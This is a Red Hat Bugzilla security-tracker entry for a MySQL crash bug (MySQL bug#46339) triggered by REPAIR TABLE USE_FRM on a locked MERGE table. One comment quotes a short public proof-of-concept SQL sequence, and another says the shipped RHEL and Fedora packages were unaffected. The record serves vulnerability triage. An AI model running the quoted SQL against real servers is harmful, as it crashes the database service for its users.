Bug 718289 - mysql: DoS (crash) by processing REPAIR TABLE table USE_FRM on a MERGE table (MySQL bug#46339)
Summary: mysql: DoS (crash) by processing REPAIR TABLE table USE_FRM on a MERGE table ...
Keywords:
Status: CLOSED NOTABUG
Alias: None
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
low
low
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On:
Blocks: 717721
TreeView+ depends on / blocked
 
Reported: 2011-07-01 17:01 UTC by Jan Lieskovsky
Modified: 2019-09-29 12:45 UTC (History)
2 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2012-02-14 14:33:24 UTC


Attachments (Terms of Use)

Description Jan Lieskovsky 2011-07-01 17:01:58 UTC
It was found that MySQL server did not properly handle processing of SQL REPAIR TABLE table USE_FRM statements used on a MERGE table. A remote attacker, valid SQL user could use this flaw to cause denial of service (mysqld daemon crash).

References:
[1] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-52.html
[2] http://bugs.mysql.com/bug.php?id=46339

Note:
On Red Hat Enterprise Linux systems exploitation of this issue would lead only
to temporary denial of service, since mysqld daemon gets automatically
restarted upon encountering a crash.

Comment 1 Jan Lieskovsky 2011-07-01 17:03:05 UTC
Public PoC from [2]:
====================

drop table if exists m1,t1;
create table t1(a int)engine=myisam;
create table m1(a int)engine=merge union=(t1) insert_method=last;
lock table m1 read;
repair table m1 use_frm;

Comment 2 Jan Lieskovsky 2011-07-01 17:03:58 UTC
This issue did NOT affect the versions of the mysql package, as shipped with
Red Hat Enterprise Linux 4, 5, or 6.

--

This issue did NOT affect the versions of the mysql package, as shipped with
Fedora release of 14 and 15.


Note You need to log in before you can comment on or make changes to this bug.